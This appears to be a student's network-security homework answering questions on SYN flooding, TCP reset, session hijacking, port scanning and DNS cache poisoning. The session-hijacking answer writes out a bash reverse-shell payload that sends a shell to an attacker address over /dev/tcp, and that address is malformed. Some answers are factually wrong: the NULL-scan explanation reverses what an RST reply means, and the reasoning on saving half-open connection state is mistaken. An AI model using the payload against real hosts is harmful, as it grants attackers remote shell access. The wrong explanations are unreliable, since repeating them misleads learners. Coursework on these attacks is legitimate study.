Assignment 2
Gunnar Yonker

1. DoS attack
    a. With a SYN flooding attack the goal is to cause a DoS on the host/victim being targeted. We want to randomize the source IP address because if we don't then the attack can easily be traced back to our source IP and is much easier to defend. Whereas, if it was randomized it would make it much more difficult for the victim to defend against the attack because the source origin is randomized and not as easily filtered.
    b. The goal of using the spoofed source IP address in a SYN flooding attack is that the when the SYN-ACK is sent back to the spoofed IP address we do not want that address to respond. If the machine is currently running then it will respond to the SYN-ACK and the attack will not succeed because there will be a response from the machine. This can be avoided by using a spoofed IP address of a machine that does not exist so therefore it cannot respond.
    c. Since the whole goal of a SYN flooding attack is to cause a DoS on the host, and they are targeting only the 23 port and not the 8023 port. That port will become overwhelmed with the SYN acknowledgment requests, but the 8023 port is not the target of this attack so it will still be open for telnet requests. This means that while the server is undergoing the attack, people would still be able to telnet to the server using port 8023.
    d. I do not agree with this statement because I do not think it will be anymore effective at stopping a SYN flooding attack. The SYN packets will still need to be processed by the server regardless of if the information is saved for half-open connections. By not saving the information, it will not change the actual processing of the SYN packets that are coming into the server. If this was implemented, it would not be anymore effective and would actually be worse for anyone properly using a SYN packet to the server because there is no buffer in place to save the information of the real SYN request.
    e. For B's computer to defend against this attack it could actually be a simple fix since B knows that the source of the packet attack is coming from A's computer. Even if B did not know that A was or was not the attacker, in this case they are not directly attacking B because of the hostile agent's router being controlled causing the replay attack. B could take action and block or filter out any packets being sent from A's computer using their IP address. This would become much more difficult if A's IP was spoofed, but assuming it is not, until the hostile agent's router was discovered and this issue was fixed, B's computer could filter out and block any packets with A's IP source.
2. TCP reset attack
    a. A TCP Reset attack has the potential to be effective against an encrypted connection such as SSH because SSH has an encryption level at the Transport layer. Encryption at the transport layer means that the TCP header remains unencrypted even though the connection is encrypted through SSH and results in still being vulnerable to a TCP Reset attack. This can be prevented if the encryption is done at the Network layer because the entire TCP packet is encrypted at this layer, not like SSH encryption where the TCP header is still vulnerable to be attacked.
    b. I don't think that UDP communication is subject to reset attacks like TCP is because forged TCP reset packets are sent to reset the communication between machines. UDP communication does not work in this function that a reset attack would work, but there are attacks that work on UDP such as UDP flooding attacks to cause a DoS attack.

3. TCP Session hijacking attack
    a. Source IP: 10.0.2.5 and Destination IP: 10.0.2.9
    b. Source Port and Destination Port: I didn't see this specified in the scenario, but this could be done by port scanning using software like nmap.
    c. Sequence Number: 3001
    d. TCP Data Field
        i. /bin/bash –l > /dev/tcp/10.0.20/9090 2>&1 0<&1
4. Port Scanning
    a. Main TCP port scanning attacks
        i. TCP SYN Scans
        ii. TCP Connect Scan
        iii. NULL Scan
        iv. XMAS Scan
        v. FIN Scan
        vi. UDP Scan – can be done in conjunction when scanning TCP for UDP as well
    b. I think that the most stealthy TCP port scanning attack in my view is a NULL scan because they don't have any additional flags on the TCP packet which in my view brings less attention to these packets. This is done by having the TCP flag header set to 0 and this is used by performing the scan with the header set to 0 and then if an RST is returned the port is open and could be attacked, if no response is received then the port is most likely closed.
    c. The best way to defend against port scanning is to have a properly configured firewall installed because it can block scans and filter out unauthorized scans as well. As long as the firewall is properly set up then it can be a very powerful tool to stopping port scanning and allowing an attacker to find vulnerable ports. Another way to defend against port scanning is to ensure that all of your ports are closed unless you need them to be open, this ensures that there are no open ports that shouldn't be.
5. DNS cache poisoning attack
    a. One defense measure to have against a cache poisoning attack is to have your DNS server properly configured by a professional, which if you have one in your Cybersecurity department that is great, but you could also hire a third-party to configure it for your organization. Another defense would be to have your DNS server configured to only store data that is related to the domain and limit responses which would ensure that only required services are running. By having less services running, you reduce your risk of an attack happening. One of the easiest mechanisms that can often be overlooked, if that you need to ensure that your DNS is always updated, and you are running the most recent version. This is important because updates are often rolled out as vulnerabilities are found and a simple update can prevent an attack.
    b. DNSSEC defends against the cache poisoning attack by using a public key cryptography to verify and authenticate data. This means that DNSSEC is tasked with authenticating DNS responses to ensure that they are authentic and not being spoofed to result in a cache poisoning attack. This is done by DNSSEC verifying that the DNS message originated from the authorized DNS server and that the content of the message is not compromised. This prevents a cache poisoning attack because by using DNSSEC you can

ensure that you are communicating not only with the authorized DNS server but also that the integrity of the message has not been compromised. By communicating with the correct DNS server not a spoofed one and by ensuring that the message integrity has not been compromised, the use of DNSSEC reduces the risk of a cache poisoning attack.